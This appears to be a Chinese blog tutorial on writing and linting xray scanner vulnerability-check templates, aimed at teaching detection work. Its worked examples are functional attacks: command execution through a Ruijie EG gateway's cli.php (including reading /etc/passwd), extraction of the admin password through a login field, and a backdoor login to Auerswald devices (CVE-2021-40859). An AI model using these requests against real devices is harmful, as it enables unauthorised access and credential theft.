EXP(Exploit) - 漏洞利用
xray
开始使用xray
如何开始编写
-
可以查看该文档了解到社区对于POC的审核规范,收录规范
-
最主要应该详细阅读的内容,阅读时,建议先不要详细查看脚本格式,可以简单了解下一个POC中都有哪些部分就好,然后将环境配置好后,建议着重查看与理解一下生命周期相关的内容,这对于提升对POC各部分的理解有着很好的帮助,当对POC的各个部分有了理解之后,后面再写POC相对来说就会熟悉一些 -
接下来便可以详细的关注脚本格式的内容,可以注意到存在V1与V2两个版本,V1版本主要服务于Xray1.8.1之前,而在Xray1.8.1及之后,改为了V2版本。所以建议直接观看V2版本就好
-
这篇文档对于写一个好的POC,或者说一个可以起作用的POC会起到一个非常大的帮助,在编写完POC之后,一定要参考着这篇文档对自己的POC精修一下 -
文档在应该怎么做这个部分提到的《漏洞检测的那些事儿(https://paper.seebug.org/9/)》这篇文章非常值得反复阅读,非常有利于提高自己的检测方面的严谨的思考逻辑,让自己在遇到一个没见过的漏洞后,可以又快又好地想出一个检测方案。就算是不写POC,也非常推荐阅读,这对提高自己的业务水平,技术能力都非常有帮助。
-
这是师傅们写了并被收录了的POC。在了解到了原理,格式,心中对要写的POC有了一定的想法后,不妨去这两个地方看看,最好能找一个跟自己要写的POC同一个类型的来参考 -
如果还没开始写,可以参考着其他师傅的来写,在写起来会轻松简单不少 -
如果已经写完了,也可以参考看与其他师傅写的有何不同,取长补短。同时如果发现自己写的更加严谨,也可以提交修改。
一个POC的诞生
漏洞选择
开始编写
POC检测
name: Check POC
on: [push, pull_request]
jobs:
check_poc:
runs-on: ubuntu-18.04
steps:
- uses: actions/setup-python@v1
with:
python-version: 3.7
- uses: actions/checkout@v2
with:
fetch-depth: 1
- name: Prepare
run: |
cd $GITHUB_WORKSPACE &&
wget -nv https://github.com/chaitin/xray/releases/download/1.8.2/xray_linux_amd64.zip &&
pip3 install yamllint &&
unzip xray_linux_amd64.zip &&
echo 'update:
check: false' > config.yaml
- name: Check POC
run: |
cd $GITHUB_WORKSPACE &&
./xray_linux_amd64 poclint --script "./pocs/*" --filepath "./pocs/" --rules filename,filepath,yamlschema,yamllint,cellint &&
./xray_linux_amd64 poclint --script "./fingerprints/*" --filepath "./fingerprints/" --rules filename,filepath,yamlschema,yamllint,cellint
例一:
-
问题:当出现键值对重复,键命名错误,键缺少值,CEL表达式中出现不存在的方法或错误的使用方法时,会直接报错,不会执行后续检测流程。
-
修改建议:按照提示仔细查看对应错误并修改即可
-
问题:文件后缀以yaml结尾
-
修改建议:将文件名后缀修改为yml
-
问题:文件名与文件中name的值不匹配
-
修改建议:先将其中一个的值按照官方文档中要求的格式修改对,然后直接复制粘贴就好(注意,name的值比文件名多了poc-yaml-)
-
问题:当文件名出现大写的时候会产生报错 -
报错原因:文件名正则匹配规则:^(?:poc-yaml|custom|fingerprint-yaml)-[a-z0-9\-]+$,可以注意到,后面匹配并没有大写字母。 -
修改建议:命名时,对照着官方文档的要求修改。
POC提交
POC分析
name: poc-yaml-******-eg-rce
rules:
- method: POST
path: "/cli.php?a=shell"
follow_redirects: false
body: |
notdelay=true&command=cat /etc/passwd
expression: |
response.status == 200 && response.body.bcontains(b""status":true,"data"") && response.body.bcontains(b"root")
detail:
author: Jarcis
links:
- http://wiki.peiqi.tech/PeiQi_Wiki/%E7%BD%91%E7%BB%9C%E8%AE%BE%E5%A4%87%E6%BC%8F%E6%B4%9E/%E9%94%90%E6%8D%B7/%E9%94%90%E6%8D%B7EG%E6%98%93%E7%BD%91%E5%85%B3%20cli.php%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.html
修改POC
name: poc-yaml-******-eg-cli-rce
set:
r1: randomInt(8000, 10000)
r2: randomInt(8000, 10000)
rules:
- method: POST
path: /login.php
headers:
Content-Type: application/x-www-form-urlencoded
body: |
username=admin&password=admin?show+webmaster+user
expression: |
response.status == 200 && response.content_type.contains("text/json")
search: |
{"data":".*admins?(?P<password>[^\"]*)
- method: POST
path: /login.php
headers:
Content-Type: application/x-www-form-urlencoded
body: |
username=admin&password={{password}}
expression: |
response.status == 200 && response.content_type.contains("text/json") && response.headers["Set-Cookie"].contains("user=admin") && response.body.bcontains(b"{"data":"0","status":1}")
- method: POST
path: "/cli.php?a=shell"
follow_redirects: false
body: |
notdelay=true&command=expr {{r1}} * {{r2}}
expression: |
response.status == 200 && response.body.bcontains(bytes(string(r1 * r2)))
detail:
author: Jarcis
links:
- https://github.com/PeiQi0/PeiQi-WIKI-POC/blob/PeiQi/PeiQi_Wiki/%E7%BD%91%E7%BB%9C%E8%AE%BE%E5%A4%87%E6%BC%8F%E6%B4%9E/%E9%94%90%E6%8D%B7/%E9%94%90%E6%8D%B7EG%E6%98%93%E7%BD%91%E5%85%B3%20cli.php%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.md
V2版本
name: poc-yaml-ruijie-eg-cli-rce
manual: true
transport: http
set:
r1: randomInt(8000, 10000)
r2: randomInt(8000, 10000)
rules:
r0:
request:
cache: true
method: POST
path: /login.php
headers:
Content-Type: application/x-www-form-urlencoded
body: |
username=admin&password=admin?show+webmaster+user
expression: response.status == 200 && response.content_type.contains("text/json")
output:
search: '"{"data":".*admin\s?(?P<password>[^\\"]*)".bsubmatch(response.body)'
password: search["password"]
r1:
request:
cache: true
method: POST
path: /login.php
headers:
Content-Type: application/x-www-form-urlencoded
body: |
username=admin&password={{password}}
expression: response.status == 200 && response.content_type.contains("text/json") && response.headers["Set-Cookie"].contains("user=admin") && response.body.bcontains(b"{"data":"0","status":1}")
r2:
request:
cache: true
method: POST
path: /cli.php?a=shell
body: |
notdelay=true&command=expr {{r1}} * {{r2}}
follow_redirects: false
expression: response.status == 200 && response.body.bcontains(bytes(string(r1 * r2)))
expression: r0() && r1() && r2()
detail:
author: Jarcis
links:
- https://github.com/PeiQi0/PeiQi-WIKI-POC/blob/PeiQi/PeiQi_Wiki/%E7%BD%91%E7%BB%9C%E8%AE%BE%E5%A4%87%E6%BC%8F%E6%B4%9E/%E9%94%90%E6%8D%B7/%E9%94%90%E6%8D%B7EG%E6%98%93%E7%BD%91%E5%85%B3%20cli.php%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.md
["ooo":1,"date":"15.2.2021","tart":"154853254","macaddr":"00:00:00:00:00:00"]
rules:
r1:
# 此处为一个 http request 的例子
request:
method: GET
path: "/"
expression: |
response.status==200
# 相比于 V1 版本新增
output:
search: '"date":"(?P<date>.+?)","tart".bsubmatch(response.body)'
date: search['date']
search: '"tart":"(?P<tart>.+?)","mac".bsubmatch(response.body)'
tart: search['tart']
tartmd5: substr(md5(tart),0,16) # 对匹配到的tart的内容进行md5加密,然后再截取前十六位
tartty: date + tartmd5 + "asd" # 对匹配到的date,格式化好后的tart,字符串"asd"进行拼接
r2:
# 上述定义出的变量的使用
request:
method: POST
path: "/"
body:
a={{date}}&b={{tart}}&c={{tartmd5}}&d={{tartty}}
expression: |
response.status==200
手搓Digest auth认证
```yaml
name: poc-yaml-auerswald-cve-2021-40859
transport: http
set:
dcnonce: randomLowercase(8)
rules:
r1:
request:
method: GET
path: "/about_state"
expression: response.status == 200 && r'serial.*?d+.,'.bmatches(response.body) && r'date.+?20[0-9][0-9].,'.bmatches(response.body)
output:
search: '"serial":"(?P<serial>.+?)","date".bsubmatch(response.body)'
serial: search["serial"]
search1: '"date":"(?P<date>.+?)","macaddr".bsubmatch(response.body)'
date: search1["date"]
HA: serial + "r2d2" + date
password: substr(md5(HA),0,7)
r2:
request:
method: GET
path: "/tree"
expression: response.status == 401
output:
search2: '"nonce="(?P<nonce>.*)", opaque".submatch(response.headers["WWW-Authenticate"])'
nonce: search2["nonce"]
search3: '"opaque="(?P<opaque>.*)",algorithm".submatch(response.headers["WWW-Authenticate"])'
opaque: search3["opaque"]
cnonce: substr(md5(dcnonce),0,16)
username: '"Schandelah"'
OHA1: username + ":Auerswald:" + password
HA1: md5(OHA1)
resp: HA1 + ":" + nonce + ":" + "00000001" + ":" + cnonce + ":auth:a94ba59ccc1aaf76cedba69ce4d102d2"
respmd5: md5(resp)
r3:
request:
method: GET
path: "/tree"
follow_redirects: true
headers:
Authorization: Digest username="Schandelah", realm="Auerswald", nonce="{{nonce}}", uri="/tree", algorithm=MD5, response="{{respmd5}}", opaque="{{opaque}}", algorithm="MD5", qop=auth, nc=00000001, cnonce="{{cnonce}}"
expression: response.status == 200 && response.body.bcontains(b"Servicetools")
expression: r1() && r2() && r3()
detail:
author: Jarcis-cy(https://github.com/jarcis-cy)
links:
- https://www.redteam-pentesting.de/en/advisories/rt-sa-2021-007/-auerswald-compact-multiple-backdoors
summary: 'username:Schandelah;password:{{password}}'
```
2. 在output中进行变量拼接的时候,不能以字符串开头,如果需要以字符串开头,需先将该字符串通过第一点的方式定义出来
3. md5函数中可以直接引用之前的变量,不能在函数中进行字符串拼接
好文推荐
原文始发于微信公众号(系统安全运维):一个xray POC的编写全过程
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论